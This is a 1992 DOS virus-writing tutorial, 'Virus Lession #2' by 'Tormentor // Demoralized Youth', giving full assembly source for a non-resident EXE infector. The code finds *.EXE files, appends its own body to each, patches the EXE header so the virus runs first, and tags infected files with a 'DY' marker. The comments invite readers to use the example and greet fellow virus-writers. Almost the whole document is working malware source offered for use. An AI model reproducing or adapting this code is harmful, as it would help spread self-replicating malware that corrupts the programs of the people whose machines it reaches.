
 ;       Virus Lession #2        'How to make a non-resident EXE infector'
 
 ;       (c) 1992 Tormentor // Demoralized Youth
 
 ;       Well, I had not time to comment this code as much as I wanted to,
 ;       but here you are.
 ;       What can be hard to understand is the .EXE header changes, but if
 ;       you look at the description on the header (ex: Norton guide Tech. Ref)
 ;       you'll understand...
 ;       Anyway, feel free to use this example and if you have any questions
 ;       or anything call my board: Swedish Virus Labratory +46-3191-9393
 
 ;       Greetings to all virus-writers!
 
 ;       /Tormentor
 
 
                 .model  tiny
                 .radix  16
                 .code
 
 Virus_Lenght    EQU     Virus_End-Virus_Start   ; Lenght of virus.
 
                 org     100
 
 Virus_Start:    call    where_we_are
 
 where_we_are:   pop     si
 
                 sub     si,where_we_are-Virus_Start
 
                 mov     ax,es
                 add     ax,10
                 add     ax,cs:[si+Exe_header-Virus_Start+16]
                 push    ax
                 push    cs:[si+Exe_header-Virus_Start+14]
 
                 push    ds
                 push    cs
                 pop     ds
 
                 mov     ah,1a
                 mov     dx,offset Own_dta-Virus_Start
                 add     dx,si
                 int     21
 
                 mov     ah,4e           ; We start to look for a *.EXE file
 look4victim:    mov     dx,offset file_match-Virus_Start
                 add     dx,si
                 int     21
 
                 jnc     cont2
                 jmp     no_victim_found ; If no *.EXE files was found.
 
 cont2:          mov     ax,3d02
                 mov     dx,Own_dta-Virus_Start+1e
                 add     dx,si
                 int     21
 
                 jnc     cont1
                 jmp     cant_open_file
 
 cont1:          xchg    ax,bx
 
                 mov     ah,3f
                 mov     cx,1c
                 mov     dx,offset Exe_header-Virus_Start
                 add     dx,si
                 int     21
 
                 jc      read_error
 
                 cmp     byte ptr ds:[si+Exe_header-Virus_Start],'M'
                 jnz     no_exe          ; !!! Some EXEs starts with ZM !!!
                 cmp     word ptr ds:[si+Exe_header-Virus_Start+12],'DY'
                 jz      infected
 
                 mov     ax,4202         ; Go EOF
                 xor     cx,cx
                 xor     dx,dx
                 int     21
 
                 push    dx
                 push    ax
 
                 mov     ah,40           ; Write virus to EOF.
                 mov     cx,Virus_Lenght
                 mov     dx,si
                 int     21
 
                 mov     ax,4202         ; Get NEW filelenght.
                 xor     cx,cx
                 xor     dx,dx
                 int     21
 
                 mov     cx,200
                 div     cx
                 inc     ax
                 mov     word ptr ds:[Exe_header-Virus_Start+2+si],dx
                 mov     word ptr ds:[Exe_header-Virus_Start+4+si],ax
 
                 pop     ax
                 pop     dx
 
                 mov     cx,10
                 div     cx
                 sub     ax,word ptr ds:[Exe_header-Virus_Start+8+si]
                 mov     word ptr ds:[Exe_header-Virus_Start+16+si],ax
                 mov     word ptr ds:[Exe_header-Virus_Start+14+si],dx
 
                 mov     word ptr ds:[Exe_header-Virus_Start+12+si],'DY'
 
                 mov     ax,4200         ; Position file-pointer to begin of file
                 xor     cx,cx
                 xor     dx,dx
                 int     21
 
                 mov     ah,40           ; Write header
                 mov     cx,1c
                 mov     dx,offset Exe_header-Virus_Start
                 add     dx,si
                 int     21
 
                 jc      write_error
 
 no_exe:
 infected:
                 mov     ah,3e
                 int     21
 
 Sick_or_EXE:    mov     ah,4f
                 jmp     look4victim
 
 write_error:            ; Here you can test whats went wrong.
 read_error:             ; This is just for debugging purpose.
 cant_open_file:         ; These entries are equal to eachother
 no_victim_found:        ; but could be changed if you need to test something.
 
                 pop     ds
                 retf
 
 file_match      db      '*.EXE',0       ; Pattern to search for.
                                         ; Don't forget to end with 0 !
 
 Exe_header      db      16 DUP(0)
                 dw      0fff0           ; Adjustment just for this COM-file.
                 db      4  DUP(0)
 
 notes           db      '(c) 1992 Tormentor / Demoralized Youth ',0a,0d
                 db      'Rather first in hell, than second in heaven.'
 
 Own_Dta         db      02bh DUP(0)
 
 Virus_End       EQU     $
 
                 end     Virus_Start
 